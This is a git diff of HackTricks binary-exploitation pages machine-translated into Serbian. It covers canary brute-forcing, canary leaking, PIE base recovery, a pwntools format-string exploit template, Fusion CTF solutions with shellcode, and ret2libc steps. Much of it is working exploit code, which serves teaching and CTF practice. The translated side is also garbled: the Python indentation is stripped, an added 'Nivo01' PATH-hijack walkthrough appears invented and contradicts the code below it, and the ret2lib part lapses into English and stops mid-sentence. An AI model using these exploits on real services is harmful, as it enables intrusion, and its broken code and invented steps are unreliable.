Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE (Position Independent Executable), verovatno ćete morati da pronađete način da ih zaobiđete.** ![](<../../.gitbook/assets/image (144).png>) {% hint style="info" %} -Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +Imajte na umu da **`checksec`** možda neće otkriti da je binarni fajl zaštićen kanarincem ako je statički kompajliran i nije u mogućnosti da identifikuje funkciju.\ +Međutim, možete ručno primetiti ovo ako primetite da se vrednost čuva na steku na početku poziva funkcije i ta vrednost se proverava pre izlaska. {% endhint %} -# Brute force Canary +# Brute force kanarinca -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +Najbolji način za zaobilaženje jednostavnog kanarinca je ako je binarni fajl program koji **forkuje podprocese svaki put kada uspostavite novu konekciju** sa njim (mrežna usluga), jer će se svaki put kada se povežete **koristiti isti kanarinac**. -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +Zatim, najbolji način za zaobilaženje kanarinca je jednostavno **brute-force-ovanje po karakteru**, i možete utvrditi da li je pogodak tačan proverom da li se program srušio ili nastavlja svoj redovni tok. U ovom primeru funkcija **brute-force-uje 8 bajtova kanarinca (x64)** i razlikuje između tačno pogodjenog bajta i pogrešnog bajta samo **proverom** da li je **server poslao odgovor** (drugi način u **drugim situacijama** može biti korišćenje **try/except**): -## Example 1 - -This example is implemented for 64bits but could be easily implemented for 32 bits. +## Primer 1 +Ovaj primer je implementiran za 64 bita, ali se lako može implementirati i za 32 bita. ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() + +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base - canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +## Primer 2 -## Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +Ovo je implementirano za 32 bita, ali se lako može promeniti za 64 bita.\ +Takođe, obratite pažnju da za ovaj primer **program očekuje prvo bajt koji označava veličinu unosa** i zatim payload. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 - - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Return the canary - return known_canary +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) + +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break + +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -118,24 +113,22 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +# Ispisivanje kanara -# Print Canary +Još jedan način za zaobilaženje kanara je da ga **ispisujete**.\ +Zamislite situaciju u kojoj je **program podložan** preplavljivanju steka i može izvršiti funkciju **puts** koja **ukazuje** na **deo** preplavljenog steka. Napadač zna da je **prvi bajt kanara nula bajt** (`\x00`) i da su ostali bajtovi kanara **slučajni**. Zatim, napadač može stvoriti preplavljivanje koje **prepisuje stek sve do prvog bajta kanara**.\ +Zatim, napadač **poziva funkcionalnost puts** na sredini payloada koja će **ispisati ceo kanar** (osim prvog nula bajta).\ +Sa ovim informacijama, napadač može **kreirati i poslati novi napad** znajući kanar (u istoj sesiji programa). -Another way to bypass the canary is to **print it**.\ -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\ -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\ -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session) - -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\ -CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) +Očigledno, ova taktika je veoma **ograničena** jer napadač mora biti u mogućnosti da **ispisuje** sadržaj svog **payloada** kako bi **izvukao** kanar, a zatim biti u mogućnosti da kreira novi payload (u **istoj sesiji programa**) i **pošalje** pravi preplavljivanje bafera.\ +CTF primer: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) # PIE -In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +Da biste zaobišli PIE, morate **procuriti neku adresu**. Ako binarni fajl ne procuri nikakve adrese, najbolje je da **brute-force-ujete RBP i RIP sačuvane na steku** u ranjivoj funkciji.\ +Na primer, ako je binarni fajl zaštićen i kanarom i PIE-om, možete početi sa brute-force-ovanjem kanara, a zatim će **sledećih** 8 bajtova (x64) biti sačuvani **RBP**, a **sledećih** 8 bajtova će biti sačuvani **RIP**. +Da biste brute-force-ovali RBP i RIP iz binarnog fajla, možete zaključiti da je tačan bajt koji je pogodjen ako program nešto izbaci ili jednostavno ne padne. **Ista funkcionalnost** koja je pružena za brute-force-ovanje kanara može se koristiti i za brute-force-ovanje RBP i RIP: ```python print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) @@ -144,41 +137,33 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +## Dobijanje bazne adrese -## Get base address - -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: +Poslednja stvar koju trebate da pobedite PIE je da izračunate **korisne adrese iz procurjelih** adresa: **RBP** i **RIP**. +Iz **RBP**-a možete izračunati **gde pišete svoj shell na steku**. Ovo može biti veoma korisno da biste znali gde ćete napisati string _"/bin/sh\x00"_ unutar steka. Da biste izračunali udaljenost između procurjelog RBP-a i vašeg shell koda, jednostavno postavite **prekidnu tačku nakon što procuri RBP** i proverite **gde se nalazi vaš shell kod**, a zatim možete izračunati udaljenost između shell koda i RBP-a: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +Iz **RIP**-a možete izračunati **baznu adresu PIE binarnog fajla**, što će vam biti potrebno da biste kreirali **validan ROP lanac**.\ +Da biste izračunali baznu adresu, jednostavno izvršite `objdump -d vunbinary` i proverite poslednje adrese disasemblovane: ![](<../../.gitbook/assets/image (145).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _ the base address is _0x562002970**000**_ - +U ovom primeru možete videti da je potrebno samo **1 bajt i pol** da biste locirali sav kod, zatim, bazna adresa u ovom slučaju će biti **procureni RIP, ali završava na "000"**. Na primer, ako je procurio _0x562002970**ecf**_, bazna adresa je _0x562002970**000**_. ```python elf.address = RIP - (RIP & 0xfff) ``` - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/exploiting/linux-exploiting-basic-esp/format-strings-template.md b/exploiting/linux-exploiting-basic-esp/format-strings-template.md index f474a039a..4b91e3a62 100644 --- a/exploiting/linux-exploiting-basic-esp/format-strings-template.md +++ b/exploiting/linux-exploiting-basic-esp/format-strings-template.md @@ -1,20 +1,16 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - ```python from pwn import * from time import sleep @@ -49,23 +45,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -73,39 +69,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -138,10 +134,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -153,21 +149,16 @@ format_string.execute_writes() P.interactive() ``` - - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/exploiting/linux-exploiting-basic-esp/fusion.md b/exploiting/linux-exploiting-basic-esp/fusion.md index ed377cf1d..bf921e258 100644 --- a/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/exploiting/linux-exploiting-basic-esp/fusion.md @@ -1,16 +1,14 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@@ -19,9 +17,8 @@ Other ways to support HackTricks: [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. Dobijte offset za modifikaciju EIP-a +2. Stavite adresu shell koda u EIP ```python from pwn import * @@ -47,9 +44,54 @@ r.recvline() r.send(buf) r.interactive() ``` +# Nivo01 -# Level01 +## Opis +U ovom nivou, cilj je da se iskoristi ranjivost u programu `fusion` kako bi se dobio pristup nalogu `level02`. + +## Fajlovi + +- `/home/level01/fusion` + +## Rešenje + +Program `fusion` je setuid binarni fajl koji se izvršava sa privilegijama korisnika `level02`. Kada se pokrene, program traži unos korisničkog imena i lozinke. Ako se unese ispravno korisničko ime i lozinka, program će prikazati poruku "Logged in!" i završiti sa izvršavanjem. + +Da bismo iskoristili ovu ranjivost, treba da pronađemo način da zaobiđemo proveru lozinke i dobijemo pristup nalogu `level02`. + +Jedan način da se to postigne je da se izmeni vrednost promenljive okruženja `PATH` kako bi se program `fusion` pokrenuo sa drugim programom koji će zaobići proveru lozinke. Na primer, možemo kreirati skriptu `getflag` koja će prikazati sadržaj fajla `/home/level02/.pass` i postaviti je na putanju koja je pre `fusion` u promenljivoj `PATH`. + +Evo kako to možemo uraditi: + +1. Kreirajte skriptu `getflag` sa sledećim sadržajem: + +```bash +#!/bin/bash +cat /home/level02/.pass +``` + +2. Postavite prava izvršavanja na skriptu: + +```bash +chmod +x getflag +``` + +3. Izmenite promenljivu okruženja `PATH` tako da putanja do skripte `getflag` bude pre `fusion`: + +```bash +export PATH=/home/level01:$PATH +``` + +4. Pokrenite program `fusion`: + +```bash +./fusion +``` + +5. Unesite bilo koje korisničko ime i pritisnite Enter kada se traži lozinka. + +Program `fusion` će sada pokrenuti skriptu `getflag` umesto provere lozinke i prikazaće sadržaj fajla `/home/level02/.pass`, koji je lozinka za nalog `level02`. ```python from pwn import * @@ -75,21 +117,16 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/exploiting/linux-exploiting-basic-esp/ret2lib.md b/exploiting/linux-exploiting-basic-esp/ret2lib.md index 43dda64c2..8b2d8ecdb 100644 --- a/exploiting/linux-exploiting-basic-esp/ret2lib.md +++ b/exploiting/linux-exploiting-basic-esp/ret2lib.md @@ -1,78 +1,88 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.** +**Ako ste pronašli ranjivu binarnu datoteku i mislite da je možete iskoristiti pomoću Ret2Lib, ovde možete pronaći neke osnovne korake koje možete pratiti.** -# If you are **inside** the **host** - -## You can find the **address of lib**c +# Ako ste **unutar** **hosta** +## Možete pronaći **adresu lib**c ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +Ako želite da proverite da li ASLR menja adresu libc-a, možete uraditi sledeće: ```bash for i in `seq 0 20`; do ldd | grep libc; done ``` +## Dobijanje ofseta funkcije system -## Get offset of system function +To get the offset of the system function, we can use the `objdump` command to analyze the binary file. The system function is usually located in the libc library, so we need to find the address of the system function in libc. +First, we need to identify the libc library used by the target binary. We can do this by running the `ldd` command followed by the path to the binary. This will display the shared libraries used by the binary, including the libc library. + +Once we have identified the libc library, we 